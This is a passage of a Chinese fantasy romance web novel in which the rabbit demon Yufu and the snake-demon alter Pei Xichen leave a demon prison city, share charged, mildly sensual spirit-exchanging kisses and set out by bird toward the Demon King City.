玉扶却还在惊讶于他方才的笑,怎么说呢,不是玉扶多次看惯的懒懒的笑,也不是得趣了的笑,而是有些邪气,像是坏蛋的笑。 可他本来就是坏蛋啊。 玉扶只能将其归为是不适应他用和息尘的同一张脸坏蛋笑。 坏蛋在远处直勾勾盯着还不跟上的玉扶。 有些费解,她到底是怎么修炼到化形的? 不强大,也不够妖,是开灵智的时候没受到完整传承吗? 就她随时随地出神的几个瞬息,足够很多人取她的性命了。 裴息尘有些沉不住气地想过去带她。 可他并不想如息尘一样惯着她,怀里总揣着一只兔子像什么话? 就是因为这样,“他”才会一直不将玉扶将妖看待,笨兔子后来倒是靠化形扳回了一些印象,但很可惜,现在占据这具身体的是他,他也再不会犯之前的错误。 灌醉他,把身体还给息尘,想的倒是美。 裴息尘不期然地想起,在意识又沉入禁制时,玉扶对息尘表的忠心。 真是好的很。 怂兔子就想着去吧,他就在不久前,泡池子时,做了息尘对他做的同样的事——禁锢和限制。 玉扶终于追上了裴息尘,但这时,她发现息尘的笑,坏中又带上了冷。 好可怕啊。 她想了想道:“我会跟上你的,不会再让你等我,真的。” “笨兔子。” 裴息尘对她冷冷地一声,转身继续于残垣断壁中起落。 玉扶不懂自己又哪里惹他了,怎还攻击起妖来了,息尘都是夸她聪明,资质不凡的,怎到了他这儿自己就笨了。 玉扶气不过地在他背后挥了挥拳,才赶紧跟上。 裴息尘并没有行很远,他于妖城最高的一座石塔处停下,其下众妖追逐,目的却一致,最前头逃的狼狈的正是曾欺骗玉扶与息尘的木妖,木妖还拉着一个跑得踉跄的花妖。 玉扶气喘吁吁追上裴息尘,被下头的动静惊得险些栽下去,裴息尘扶了她一把道:“如何,看他们如此,开心吗?” 玉扶怔然一瞬,这才去细细辨清下方不断被追逐的两妖,木妖修为于妖城中并算不上顶尖,但他极其会躲,根须也不知花了多久几乎遍满了这座城的中心位置,有点风吹草动就能第一时间开始逃。 然,这种小伎俩,在群妖的围击中,根须尽断,被逼得连地下都躲不了。 玉扶听见有妖在喊:“跑!还跑!老子将你们根须全断了,栽盆里。” 有妖附和:“对,栽盆里,献给新城主,我们就可自由了!” 新城主?自由? 是抓住他们就可以出城了? 玉扶也来了劲,往下跳,新仇旧恨一起算,她也要换自由。 “你做什么?”裴息尘牢牢拉住了她,但凡他动作再慢一步,这兔子就已经跳下去了。 玉扶下意识道:“息尘,有新城主,我们可以出去了。” 甫一说完,玉扶就意识到不妙,她喊错了。 果然,裴息尘盯来的目光,刹那凝结得要将她冻住。 玉扶补救:“我是说,息尘太容易喊错了,我以后喊你阿裴,可不可以?” 狡猾的兔子,裴息尘不言地盯着她,但冰冷却是化开了一点,似真的在思考可行,他将玉扶从边缘带回来一些,给玉扶机会地道:“喊几声来试试。” “阿裴,”玉扶试探地先喊了一声,观察着裴息尘神色地才又喊一声:“阿裴。” “阿裴。” 玉扶越喊越顺口,嗓音褪去轻软的小心翼翼,清灵的很。 裴息尘的容情终于变得正常,但还没有原谅玉扶,他微眯着眼道:“继续。” “阿裴,阿裴阿裴……” “可以了。”再轻灵听多了也烦,裴息尘手动地闭了玉扶的嘴。 真手动,玉扶的唇被跟鸭子一样地捏住,偏她还不敢当面抗议,只委屈地用眼控诉着。 也是这时,塔下的那些妖,也不知是谁发现了塔上的身影,呼了一声:“城主,新城主在这!” 玉扶眼中控诉转为惊讶。 裴息尘收手,对这些妖的称呼也皱了一下眉,他可没想当他们的城主,他不过是将蛮虎用凶剑钉在了城墙之上,留下追捕木妖与花妖的任务罢了。 玉扶也后知后觉地反应过来,原来阿裴问她“看他们如此,开心吗?”是这个意思啊。 “阿裴,我们可以离开这里了!” 玉扶这次没有喊错,双眸也亮闪闪地盯着裴息尘,里面没有害怕,只有喜悦。 啊,原来让她开心这么简单啊。 裴息尘揉搓着方才捏过她的指腹,冷淡地应道:“嗯。” 第24章 玉扶才不管裴息尘的冷淡, 兀自开心着。 虽待的不久,可这座城,真的给她留下阴影了。 她差点就嫁了妖, 差点被剥了皮,也差点要自爆了。 还好, 还好, 她没有倒霉到走投无路的地步, 每次不是息尘, 就是阿裴出现了。 玉扶现在知晓能出去, 就连看裴息尘的怨气都少了。 而塔下的呼声也越来越高,是更多妖发现了他们。 也是这时,尖唳的剑鸣倏地从城门处传来, 众妖看去, 玉扶也看去,还没看清,被息尘扯人了他的遁空之术中。 凶剑没有追上主人,于塔上“咻咻”地飞几圈, 生气地抛下钉着的妖躯。 是四肢被削的蛮虎妖。 他们当中根本没有与蛮虎同时期被妖王所囚的妖, 皆是后来误入, 不断被留下的妖。 也即是说,只要断了蛮虎的最后一口气,这座城的最后束缚也就没有了。 众妖激动得纷纷将自己的武器砍到蛮虎的身上。 而此时的玉扶, 已同息尘落到了一处古怪的园子中,玉扶对这座园子有一些印象, 木妖就是绑着她来此换出了那一日原本的新娘。 当时她分明有苏醒些意识的,也隐约听入了一些木妖与花妖的谈话,是之后她被换下花妖后, 木妖怕她中途醒来,又给她注入了一些毒素,她才更艰难的。 玉扶一想起,便来气,她方才应当也去砍他们几刀,让他们死一起都便宜他们了,既然那般的相互爱重,就应一开始一起自戕。 玉扶好一会才从愤怒的情绪抽离,而也就这么片刻的功夫,裴息尘已将这怪园子的所有洞口禁制毁坏。 他原来是好妖啊! 玉扶惊讶。 但很快,玉扶发现了不对,这个园子太奇怪了,许多发育不全的幼妖,然后冲出囚牢的都是女妖。 她们精神似乎失了常,甫一从被关的洞口出来,又哭又笑,继而四处寻这些什么。 裴息尘带着玉扶于高处俯眼,他眼中有着玉扶看不懂的黑寂,似阴森,又似戏谑,就仿佛是在等着什么好戏开场。 裴息尘倏地垂眼向玉扶,指着一处问:“阿扶,你猜这些母亲是会去带出自己的孩子,还是去杀了自己的孩子?” 他面容盛美惑人,可用玩味的语气问出的话,却恶意阴森至极,玉扶也被他慑住了,脑子锈住了一样转得很慢,她疑惑他的问题,也经不住地思考,却怎么也想不出正确的答案。 她摇头道:“我不知道。” 玉扶认为这些女妖就算为母了,可那些孩子又不是她们自愿生下的,过程中说不定经历了不知怎样的痛苦,玉扶觉得她们应该是不爱自己孩子的。 或许杀了才能重新开始。 只是,若站在孩子的角度看,他们好像也挺无辜,尤其是,有些生长不错,已经开启灵智的幼妖。 玉扶想来想去,摇头后反问裴息尘:“你为什么要来看这些?” 裴息尘:“我好奇,她们是爱多一点,还是恨多一点。” 又是那种懒洋洋,很轻慢不在意的调子。 可真不在意就不会来看这些了。 只见园子中,不断有幼妖被自己的母亲亲手杀死,连开灵智的也不例外,甚至,还有的在食子,企图靠吃来夺回被分走的力量。 “看来是恨多一点。”裴息尘意兴阑珊地转身,同玉扶道:“走吧。” 他自走几步,却不见玉扶跟上,蓦地生出些烦躁。 也是这时,玉扶抬眼,给他指了一处,笑着道:“恨虽然很多很多,可爱也有一点呢。” 裴息尘顺着玉扶手指看去—— 那是一个老妪,这园中的女妖会老成这样,不用想都知是受了生育的影响,她的手掐在一个猫形的幼妖脖颈处,停顿了很久很久,也没有彻底地掐下去。 她似在犹豫挣扎,她恨这个令她变得如此丑陋的生命,可这也是她往后唯一的延续,她的手掐了松,松了又紧,幼妖还以为老妪是在同她玩耍,用毛茸茸的脸颊一直蹭着老妪的手背。 终于,老妪的手松了,将幼妖藏在怀中,避开杀戮,跑出了这个可怕的园子。 “她还是想杀她。”裴息尘并不承认这是爱。 玉扶不服气地哼道:“这已经很不错了。” 没有妖会喜欢自己妖力被孩子夺走,尤其还是这种不是自愿,本身也不强的妖。 能于恨中,仍留着幼妖的性命已是极难得的怜悯与爱了。 “我听说就算是强大的妖,在孕育子嗣的时,也常会有生出吃掉的念头。” 玉扶本意是想令息尘不要对妖的爱啦恨啦,有什么偏见,不管是什么妖都是一样的,可没想却像是触上了裴息尘的什么禁忌,他笑得好冷。 但这种冷意又很快被他的懒怠盖过,玉扶有些摸不着头脑,一时不敢靠他太近,同他隔着些距离地跟着。 倏地,有什么玩意擦着玉扶的发而过,极快极凶,玉扶霎时蹲地抱头,她摸到她的一个绒球揪揪不见了,抬眼望去,罪魁祸首是一把剑。 一把于夜中都泛着熠熠法光的凶剑,剑柄斜纹相拱,中间整块的透色蓝宝石,很漂亮,如果它的剑尖没有顶着她的绒球的话。 再看它停留拦住的人,玉扶气得捶地,一把剑也欺负她,摘了她的绒球去讨好大妖。 玉扶气哼哼地站起来,远远瞪着一妖一剑,她不想和他们一路了。 裴息尘也感受到了凶剑的回来,本也没当回事,直到见到那于剑尖绒绒一团的白球,拾起,扭头去看,第一次体会到了娇气兔子的气性大。 好像有点难办。 气急了是会咬人拼命的。 “我给你插回去?” 裴息尘走近玉扶,询问的语气,笨拙的动作,比划好几下,将绒球直直地固定上去。 绒球掉落。 裴息尘接住,又掰玉扶脸地继续试图固定。 奇怪,真奇怪,平日里见玉扶怎么活泼都牢固的绒球,就是固不回去,他好奇地摆动玉扶的脑袋,观察她的发髻,倏地发现,这绒球竟真没有任何的固定簪钗一类。 终似意识到什么地垂眼,玉扶也恰被他捧起地抬脸,眼睛红得妖性都显出来了,忍着没咬他。 这绒球是玉扶化形的一部分,他的剑削了她的一簇毛,日后她再化为原形的话,她的兔耳边就会丑陋地少一簇毛。 玉扶从来没这样委屈加生气过,尤其他还一点自觉也没有地摆弄她脑袋。 玉扶忍了又忍,还是好气啊,真的好气! 她拍开裴息尘的手,偏头到另一侧 ,她怕自己忍不住地扑上去咬他。 裴息尘手背被拍,肌骨瞬时红了一片,他垂眼蹙眉,眸色渐浓,色兔子,不止是气性大,力气也不小,无怪是修山神道的。 都是息尘纵出来的脾性。 再这样惯下去岂不是要压到他身上来了。 他敛眸甩了甩手,背身就走,也就几步的距离,余光瞥见玉扶在摸空了的一侧发髻,泫然欲泣,怪可怜的,让人看一眼就生出些愧疚,看一眼又生出些愧疚。 他重新退回,用虎口卡住她的脸抬起,笑得不逊:“气性这么大,是不是要我给你咬一口做补偿?” 玉扶倒想,可她不敢,闷闷地道:“我气会就好了。” “我是生那把剑的气呢。” 真大度,也真是乖巧,这只色兔子就是这样接近佛子的呢,现在这讨好手段用到他身上了。 裴息尘笑了,挺愉悦地用拇指摩挲她的颊靥,再到唇角,剥开点她的唇瓣,“咬吧,我怕你现在不咬,之后偷灌我酒。” 慵慵懒,散漫又坏蛋的笑,拇指也继续剐蹭着玉扶的唇瓣示意她咬。 玉扶腿都软了,他怎么会知晓她同息尘说的话啊。 可再想,又似乎是寻常,毕竟好像就没有他不知道的事,她对息尘偷偷的心思他都知道的一清二楚呢。 玉扶的怒火被心虚浇灭,是真的不想咬了,即便他将手送到她的嘴边。 然而,裴息尘却并不放过她,执意地要她咬,剥开她唇瓣的拇指探得上下齿缝,倏地向上一顶,探入压住了她的舌。 玉扶“呜”地一声咬住,又反应过来地松开,并未在他指节上留下痕迹,只多了些的她唇瓣上留下的水液。 也是这一张一合的动作,裴息尘指腹也紧跟着地被舔了一下、 嗯? 又一下。 裴息尘沉浸在这种感受里,玉扶每退一下,他就更钳住一点,她的下颌皆被他余的手指托住,她的舌不受控地想躲,抵不动,倏地一下,压到了裴息尘的指节之上。 玉扶完全生理性地为避开他的拇指,她没想舔他,可他的手不退出去,她的舌只能躲。 而裴息尘却偏同她作对,跟同着她的舌尖打转,非要压住她的舌。 玉扶浓密眼睫不断地颤,被欺负了似的,挂上星点细珠,娇艳可怜得好像下一刻就要哭了。 裴息尘终于滑出手指,带出点银丝地勾在玉扶的唇角,拉长,也亮晶晶的。 玉扶连忙擦了擦唇,怕了他地往后连退几步。 分明是戒备的几步,却恰让她整个人完完全全地落于裴息尘的打量中,她的化形谈不上多成熟,然她的肌肤就如她没有一丝杂色的毛发一般,雪白雪白,妖域大得过分的月亮下,简直浑身晕了光一样。 真漂亮。 漂亮得他有了饥渴的冲动,光将她抢过来似乎还不够,还想—— 占有。 独他的占有。 整个拇指指腹都是亮晶晶的一层液体,裴息尘毫不嫌弃地于自己唇外抹过,一点非人的舌尖将那晶液舔入。 比眼泪的味道还要好。 他好妖啊,只是为什么一直要用捕猎一样的眼神盯着她。 玉扶头皮都在发麻,即便知晓他和息尘用的是同一具身体,也知晓他并不适应吃肉,可他一边yue一边非要吃肉的印象还是让她很深刻。 玉扶想了想,壮着胆地打消他的食欲:“我没真灌你酒,你别吃我。” 裴息尘不置可否地一笑,朝玉扶走近地弯身:“阿扶,你该知道的,“吃”有很多种。” “不是你想吃掉我吗?”—— 第25章 裴息尘偷换了概念, 还换了人。 玉扶只有一次迷迷糊糊中,对息尘说过想吃掉他。 她想的“吃”同息尘理解的“吃”自然是不一样的。 而现在,阿裴在提醒着她想起, 也提醒着她也可以吃掉他。 这已不是第一次了,他还曾说, 可以给她灵力, 还可以想要他。 只是, 玉扶对阿裴总是惧更多一些, 一些大胆的进步都是今日才有的。 可是, 他说的好诱人啊。 佛子的息尘就是个呆瓜,明显的,吃掉阿裴比吃掉息尘更简单。 尤其是, 他都邀请她了。 玉扶怔怔看着妖孽一样的阿裴, 他好华丽,同圣洁的佛子相比,浑如妖孽。 她朝阿裴踏近了一步,舌尖下意识地勾入唇角的津液。 色气的小兔。 裴息尘微眯着眼地想, 立在原地没有动。 玉扶揪住了他的衣袖, 抬头倾向他, “你保证不会吃掉我?” “食物的那种吃。”玉扶特意强调地补充。 裴息尘掌住她的腰,带鼓励地笑道:“不会。” 又是那种坏心肠的坏蛋才有的笑,玉扶踮起的脚尖往下落, 开始拉远距离,她总这样, 反反复复,面对阿裴总没有对佛子的安全感。 她自己也不知道为什么会这样,大概因为他是蛇吧。 她是兔子, 趋利避害的本能罢了。 但这一退并没有逃离裴息尘,他顺着她的退却,倾身向她,眸中的光彩,仍像猛兽,不过比之猛兽又多了些慵倦,就好像有无限的耐心等着猎物的靠近。 玉扶明知自己是猎物,可又舍不得他放出的饵,她有时候很胆小,可有时候又很贪心,贪心得大胆到成为一个赌徒。 她听见自己在疑问,嗓音带着颤的,胆怯的同时又像是在嗔怪:“你总用像是很饿的眼睛看我。” 息尘是不会有这种眼光的,他温和,平静,偶尔严肃,不会发绿光。 裴息尘扯了扯唇,上半身被她格挡地当胸推远了些,他也不反抗,并不松手地借着这距离,用一种观察的眼神瞧她,她天真纯美得不像是妖。 到底是被保护的多好,才会问出这般天真的问题,她这样香,蛇的眼睛当然会发绿光。 可裴息尘现在并不想吓她了,他发现了更乐趣的等待,瞧着又怂又色的兔子向他靠近,真的是一种美妙的感觉,所有感官都被放慢,放大得充盈了他将近二百年的沉寂。 他以一种自己也难以想象的嗓音诱哄:“阿扶,你亲我一下。” “亲我一下,我就不饿了。” 玉扶睁圆了眼,从未听过这样不正经,还前后毫无瓜葛的要求。 然则,她没有理由拒绝。 是他邀请的。 也是他想她吃了他。 玉扶蠢蠢欲动。 她面颊因羞赧而绯红,目中些微带着踟蹰,她看着他放开了的等待神情,心脏“砰砰”地跳,这张华美惑人的脸,她偷摸过他的鼻梁,点过他的唇,就连额角眉心也令她心动不已。 可要亲哪儿呢? 他好像没有要求。 玉扶盯上了她不喜欢的部位,他的唇。 这里,息尘训过她,阿裴恐吓过她,还咬过她。 要咬回去。 玉扶仰头微启了唇瓣地迎上去—— 好软,还有点凉。 也是干净无比的味道。 不管是息尘,的还是阿裴,他们好像是一样的。 玉扶痴痴地发怔,忘记了报复,只是轻轻地含。 她笨拙,很多学会的东西,第一次得到了实践,她试探地用舌搔过阿裴的唇瓣,然后退缩地回到自己口中。 然蛇的天性好像就是比兔子更放得开,她退,他就进,一股不属玉扶的灵息跟同他的舌吐入她的唇中。 同佛子温暖纯净的灵力不同,它冰冰凉的,甫一入内,就自发地缠上了她的神魂小兔,神魂被扑倒,蛇形拉长地缠绕,蛇首不断往她颈下拱,蛇信卷过她的唇、鼻、颊靥,逼得她的神魂也吐出一点透色的舌尖与他相碰。 剥离肉-体阻隔的相碰,玉扶很快哼哼唧唧起来,送上更多自己的唇,急切的咬,急切的含,胸1脯强烈起伏得喘不过气来地还是不满足,喉咙里转着难受的低泣,身子扭啊扭地往裴息尘的怀里蹭,她想要更多连自己也不明白的东西。 她好想求求他摸摸自己,还想要更多他的灵力。 她又哭了,眼角沁出泪意,皮肤也染上了一层浅浅的红,轻易地就被勾起所有身体本能的情1潮。 她变得比以往的每一次都要奇怪。 都怪他! 玉扶迷离又怨念地盯着同她分开的唇。 薄薄的,绯红无比,还残留着些透明的水液。 她又凑上前去。 只亲得了他的下颌。 裴息尘笑着直起了身子,指腹滑过唇下的水液,动作慢得直如勾引。 玉扶看红了眼,拉他:“我还想亲你。” 贪心的兔子。 上钩了的兔子。 裴息尘目光落在她面上,笑得肆意又坏蛋:“阿扶,你今日已经亲过了。” 玉扶于不满中敏锐地捕捉到了“今日”二字,下意识地追问:“那明日是还有吗?” 玉扶已分不清她要的到底是亲吻,还是那缠上她的灵息。 这些都令她感到舒适,神魂飘飘然地强了几丝,她食髓知味地通晓了何为神交,显然的,方才的还远远不是。 她不经想,真正的神交又该是怎么样地令人舒服,她的修为又能涨上多少? 她浓稠期盼的目光紧盯着裴息尘,企图从中听到想听的答案。 “阿扶,每日是不是太贪心了些?” “不过,我答应你了。” “只要你是我的小兔。” 裴息尘捻上玉扶的一缕发,每个字都吐得极为缱绻。 玉扶一时喜悦,又一时迷茫,她好似并未提过每一日? 笨兔子。 裴息尘很快放开了她的发,兀自向前走,于玉扶瞧不见的地方,非人的舌再次卷过了唇壁,每一丝每一毫独属于玉扶的气息都被卷入吞腹。 腹部热流滚动,他的感官在逐渐侵蚀这具清修圣洁的躯体。 * 在妖狱城的最后一夜,玉扶很难眠。 她的神魂小兔在识海中游来游去,很不消停。 她一直想着前半夜发生的事,一点也想不明白,她是怎么从生气毛被削了,到吃到一点裴息尘的。 他渡来的灵力可真有章法,比以往她从息尘那里偷留下来的,还要—— 玉扶形容不出来具体的感觉,总之,就像是活的。 她的神魂直到现在想起,不断被缠绕的感觉,都仍有颤栗的余韵。 原来这就是师姐们说的神交,脱离躯体的,精神层次的完全袒露,他们可以更亲密,更交融,里里外外地染上彼此的味道。 玉扶翻了个身,将脸埋在手心,她不想当色兔子的,可总也忍不住,好想,好想再继续吃一点。 还想,贪心地将他整个元神吃下。 都是裴息尘他们的错,是他们刺激她变得更贪心的。 玉扶呜呜地下了床,出了门,这是蛮虎之前的妖奴为他们清理出来的房间,她知道裴息尘的房间就在她隔壁。 她并不敢惊动大妖地变成了兔子,顶出一条门缝进入,寻到熟悉的气息,于角落阖上眼,终于得到安眠。 黑暗中,床榻之上的大妖略翻了个身,蜿蜒的蛇尾从被中探出,无声地卷上了兔子。 “怂兔子。” 极轻的笑,伴着卷兔子入怀的沙沙声愈显空淡愉悦。 * 玉扶总是醒得很早,被窝中慢慢拱起少女的弧度。 她对自己的所在有一瞬的疑惑,但很快的,她的注意力被裴息尘吸引走,微撑着身子,双眼直勾勾地盯着他。 裴息尘很懒,换了息尘的话,根本不会给玉扶这种睡在身旁的机会,他总是打坐,打坐,修炼,修炼,几乎不睡觉。 而阿裴,他经常就算是醒着也像是要睡过去一样,做什么都仿佛缺了点动力,可一旦被他认真盯视的时候,又常会清晰地感受到凶悍。 是因为太强提不起兴致的缘故吗? 可他为什么这么强? 是因为他是另一个息尘吗? 玉扶很快否定了,她有发现,息尘和阿裴的法力体系割裂得全然不似一体,她没见过阿裴用佛修禅悟的言法,也不曾见息尘用过剑。 他强大得就像天生如此。 玉扶静静地盯着,等着,想着。 她很喜欢息尘,可她更能从阿裴这里得到甜头,玉扶贪心地想,若是能都要就好了。 玉扶越来越不为自己的想法感到愧疚了,她是妖嘛,妖都这样,羞耻是人才有的东西。 她轻轻地往裴息尘的胸膛趴,盯视他的下颌,他的喉结,还有海藻一样逶迤散乱的发。 她不喜欢蛇的,可他真的好华丽啊,他的原形也会这样漂亮吗? 突兀地,玉扶与他对上了眼。 她对他甜甜地笑:“阿裴,你醒了?” 乌澡一样的发划过玉扶的侧靥,裴息尘在动,他挑起她窄小的下巴,慵倦地低眼:“阿扶,你为什么在这,嗯?” 拉长低哑的尾音,往人心间搔似的,惑人得很。 玉扶压住他的胸,眸色迷蒙沁出妖性的红,向上爬一点地脱开他的手,对他低脸:“阿裴,我就是太想你了。” “现在,已经是明日了,对吗?” 裴息尘喉间控制不住地发出低笑,食髓知味的色兔子。 他压倒性地翻身,一条大腿压住了散发着妖性的玉扶,未束的乌发流水一样滑落,像是形成一个昏暗小空间一样,压向玉扶。 玉扶忍不住地轻颤,微曲的双腿被压制地反应到上半身,她喘出一口气,绵长温热地挤出“嗯”的一声。 弱弱的,小兽一般。 裴息尘低头抵着她的额,低低地笑:“阿扶,你怎这样急?” “看来你是真的很喜欢我。” 玉扶嗔怨地看着他,她果然讨厌他的嘴巴,总是唠唠叨叨,慢的很。 玉扶自发地抬臂圈住他,嘟起嘴就要亲亲。 裴息尘偏不如她意地仰身,玉扶也跟着被抬起一样地挂在他身上。 玉扶有些气了,亲又不让亲,那说什么明天! 气性真大,惯得毛病越来越多了,犹是想着,裴息尘的脑袋仍旧压下,张口,将她嘟起的两瓣唇直接咬住。 玉扶瞠大了眼,有些不满,她要的不是这种。 她手推向他的肩,要将自己的唇拯救出来,也是这时,“啵”一声地,裴息尘松了口,随着她向后倒地再次亲来。 玉扶感受到了与昨日更不同的感觉,缠着她舌的不像是人的,好长,好麻,颗粒感的摩挲从舌尖直抵到舌1根,她被他搅动,发不出一点声。 津液控制不住地从唇角流下,漂亮的眼角泛出了红,憋出了泪,玉扶开始害怕,开始退缩,可裴息尘实在狡猾,他知晓她想要什么,哺出浑厚一团带着神识的灵力,引着玉扶地与他在腔壁间争夺。 二人的喘1息渐重,吞咽啧啧也渐重,玉扶的双1腿开始不安地挣动,大滴的泪从眼角滑落,从没有一刻这样的感觉,野兽在吃她,可她在惧怕中将自己献上—— 第26章 玉扶最后将那一团已小如珍珠的灵息吞入腹中, 没了半分力气,胸1脯一会一会地起伏着,眼底仍荡着迷离的余韵。 她好想翻过身, 将自己藏起来,她从不知, 亲吻还能这样过分, 灵力却还没有抢到多少。 她觉得自己上当了。 “我不要每一日了。”玉扶闷闷地寻回一点声音, 娇得可怕。 裴息尘坐起身, 向她垂眼, “为什么不要?” “太凶了。” “太小气了。” 玉扶胆子愈发大地直言。 裴息尘拭了拭玉扶一片水光的唇瓣,倾身,长长带点卷的乌发又落在她身上, 他笑得一派妖孽:“阿扶, 出尔反尔可不好。” “你确定要我答应你吗?” 玉扶震惊于他的好说话,心中纠结无比,她有点惧,可又有点儿贪心。 她知晓的, 渡情期是一整个身体阶段的反应, 不是一朝一夕很快就能解决的, 且她与阿裴的实力相差过大,现在吃一点吃一点地适应无疑是最好的选择,可若每一日都这样亲好久, 得到的却总不令人满足的话,玉扶又觉得自己亏了。 她估摸着自己的需求, 爬起身地与他商量:“可不可以隔几日亲一下,给多一点呀。” 裴息尘直望入她的眼,干干净净, 娇憨懵懂得全然只有为自己考量。 贪心的兔子,自私的兔子。 裴息尘轻笑一声,答应:“可以。” 玉扶眸中亮出惊喜,他这样好的话,她都开始有些喜欢他了。 裴息尘又对她笑,指腹一点一点地摩挲她的颊靥:“那阿扶,你觉得隔十日如何?” 玉扶想了想,她已提出一次要求,再挑三拣四,阿裴会不开心吗? 十日的话,好像也不久,毕竟他的灵力同息尘的很不一样,是活的呢—— 带有他意识的活的。 这种活感,比普通的灵力更难得,可也更刺激,玉扶沉浸时不觉得,可抽离后又觉还没适应,十日便十日吧。 她不再多试探地点头。 裴息尘好整以暇地见她纠结,又见她点头,半点不犹豫地答应:“好,一言为定。” “阿扶,你出去吧,去收拾一下,晚点我们离开。” 对于这,玉扶并不意外,妖狱的所有限制被破,不再只进不出。 她与裴息尘自是要离开的。 只是,她并没有什么好收拾的,这儿,也不像人修的城镇,需要去补一些资源。 玉扶疑惑一会,却并不质疑为什么不现在走,反正,她已经得到想要的了,还是很稳定的那种。 她抑不住开心地离开,贴心地关上了门。 而在她不知的房内。 强大妖息布满了整个空间,床榻之上的裴息尘,慵懒地靠在床柱之上,腰腹微拱,胯骨往下的巨尾直从床榻蜒到屏风之处,尾巴尖快乐地拍打摇晃着。 他半人的身躯在向下滑,躺倒在床面,劲悍削薄的腰收紧,往下的一块蛇鳞处突兀地被顶起。 微微上翘的眼角,眼皮堆起享受似的褶,他下滑更甚,蛇尾一圈一圈地盘起,蛇腹摩擦,蠕动,每一下都照顾到突兀之处。 脖颈青筋开始臌胀,喉结沁血一样红,仰靠榻沿,笑意却更甚:“贪心的阿扶,你会求我的。” 被剥离,被关二百年,总让他有足够的耐心,去等待,去引诱。 许久,房中各种沙沙声仍在持续。 * 犹在对水照镜,检查被咬破皮的玉扶,忽地发了个颤。 一种被猛兽盯上的感觉。 狐疑往四周看了看,又觉是多心,还有什么猛兽能凶得过裴息尘? 她兀自地又去照水,嘴唇嘟嘟的,被亲肿了。 又吐出点舌尖看看,红彤彤的,舌根都还在发麻,双靥更是烧得发烫。 真奇怪,也真不公平,为什么每回失态的只有她? 还有,为什么阿裴用着息尘的身体,技术这么娴熟啊? 他是不是偷偷跑出来过,亲过其他妖? 玉扶很不服气。 息尘应该是她的,她都没有亲到过呢。 至于阿裴,玉扶并不敢将他归为自己的,可她就是觉得他不该亲别的妖,尤其是还用息尘的身体。 她一会对阿裴生气,一会又对息尘惋惜,甚至还生出些渴望,期待息尘也像阿裴那样对待她,他一定比阿裴温柔多了。 最后,玉扶决定,若是息尘醒了,她与阿裴的约定也不能作罢,她要去寻息尘讨要,是他自己承认的,阿裴也是另一个他。 但在这之前,她也要努力修炼。 不管是阿裴还是息尘,她与他们的实力相差都太大,空抱着一座金山银山啃,她却消化不了多少,可真是,太浪费了。 玉扶并不喜欢浪费。 当下勤奋地化解起他哺来的那一口灵息,不过,抢到的实在太少了,才没一会就全化为了她的一丁点儿修为,也就顶个几日的修炼吧。 无法,只能护食地计算,十日的话,要多大团的灵息才能不亏—— 犹在想着,裴息尘终于穿戴整齐地出现了。 他似乎真的很不喜欢束缚,颈子往下总是露出一块小v形的胸膛,也不知是不是热的,那一小片肌肤还洇着红。 玉扶本就不是多知晓羞耻的妖,好不容易跟同息尘学会一些,阿裴又告诉她是错的,她眨了眨眼,视线大胆地落在了阿裴的那片肌肤处,问:“我们是要离开了吗?” 裴息尘:“是。” 声调中全是磨人耳朵的倦懒。 玉扶很怀疑他这没精神的声音,真的做好离开准备了吗? 眼睫上抬,更是见他完全就是一副要睡过去的样子。 明明先前给她哺灵息的时候还没这么没精神呢,她不免为自己口粮的健康担忧:“要不,再歇歇吧。” 裴息尘打着哈欠往前走:“不歇。” 他自己都说不歇了,玉扶还能说什么,只好追步上前,问:“那我们接下来是去哪?” 她对这些去哪,怎么去,全然是一点也不知的,她之前做的,也只要跟着就行了。 但现在她对突然取代了息尘的阿裴真的很怀疑,他真的能带路吗?他知道进了妖域要去哪吗? 他也是同息尘一样要去寻狐妖吗? 他不会又迷路吧? 玉扶很难不操心,但更担忧的是,他与息尘若是总突然的交换,目的又不一致的话,她不会要一直陪他们在妖域里打转吧? 裴息尘也被玉扶问住了,“唔”一声,从储物中掏出几块兽皮,还是从蛮虎妖那收缴来的,记录了不少的妖域划分。 “去妖王城。” 玉扶凑过去看,也不知这到底是多少年前的地图,妖王城算是上头最清晰的字迹了。 不会是因这选的去妖王城吧,玉扶狐疑看他。 裴息尘却已折起地图。 定下去处,他也不自己走,凶剑从他袖袍中飞出,不一会带回个还没来得及离开的鸟妖,逼着鸟妖化回原形,带着他们飞。 妖域极大,就算是鸟妖也常需要停下歇歇,他们有时落脚在妖兽频出的林间,有时候落在妖城中。 其中,玉扶见识了好些不同的妖城,有以种族聚居为城的,特别排外。 也有依附某一个大妖汇成城的,遇到这类城,鸟妖偶尔会避着飞。 鸟妖不敢同裴息尘说话,但对玉扶,还是敢解释几句的:“玉扶姑娘,你刚入妖域不知道,不少妖城的大妖都同蛮虎差不多,全不拿妖当妖,要入城就要上供。” “要定居还是要上供。” “有时候上供都算是好的,能得庇护,最怕的是有些大妖有独特的癖好,路过都要被抓了用来当炼材。” 鸟妖说到此的,心酸无比,可不是吗,他现在就从猛禽成了坐骑。 玉扶全然没有压迫一方的自觉,好奇问:“不能自己在外开辟洞府吗?” 鸟妖显然被玉扶的天真噎了一下:“玉扶姑娘,你也见到了,这外头可到处都是妖兽啊。” “只有大妖才有本事自己开辟洞府。” “像我们这种小妖,侥幸生了灵智,化了形,虽高了普通妖兽一等,可也奈不住日日防着他们。” 况,有些化不了形的妖兽,也不是就说它们不强了,而是牺牲的智力都往其他方向进化了,尤其是高阶的妖兽,皮糙肉厚得几乎能与元婴往上的妖修抗衡。 玉扶点了点头,往鸟妖的下方看去,妖域的环境似乎天生就易于妖兽的生长与孕育,只一眼就能看到大片大片的妖兽在捕食、在争斗。 就这样,玉扶一边看一边问,对妖域开始有了解。 其中,妖王城群妖汇聚,来者不拒,还有自成的一套城中条律,是每只妖昔日向往的地方。 至于为什么是昔日,那就要说到妖王身上。 妖向来实力为尊,妖王也不是生来就是妖王,而是,妖王曾用几百年时间,将整个妖域的大妖都寻出来揍了一顿,以一己之力镇住整个妖域,这才独辟了妖王城,令万妖臣服上供。 而这能力压整个妖域的妖王,已有许多年没有现过真身,余威虽在,妖心却不古,各种猜测与欲挑战妖王权威的妖尤多。 妖王城之外的地方,这些年都不知有多少脱离了妖王城掌控的,就是妖王城内部,也有大妖在往外扩张势力。 总之妖域现在根本没有绝对安稳的地方,说不得哪一日就要打起来了。 玉扶零零碎碎地听了许多,得出结论,那就是还没开打,妖王城有好多大妖坐镇,相互牵制,算得上安全。 玉扶心大地想,又无聊地看向在鸟背上打瞌睡的裴息尘身上。 她慢慢挪过去,算着日子,从妖狱出发,已经过去了十三日,三日前,阿裴如约给她渡了灵息。 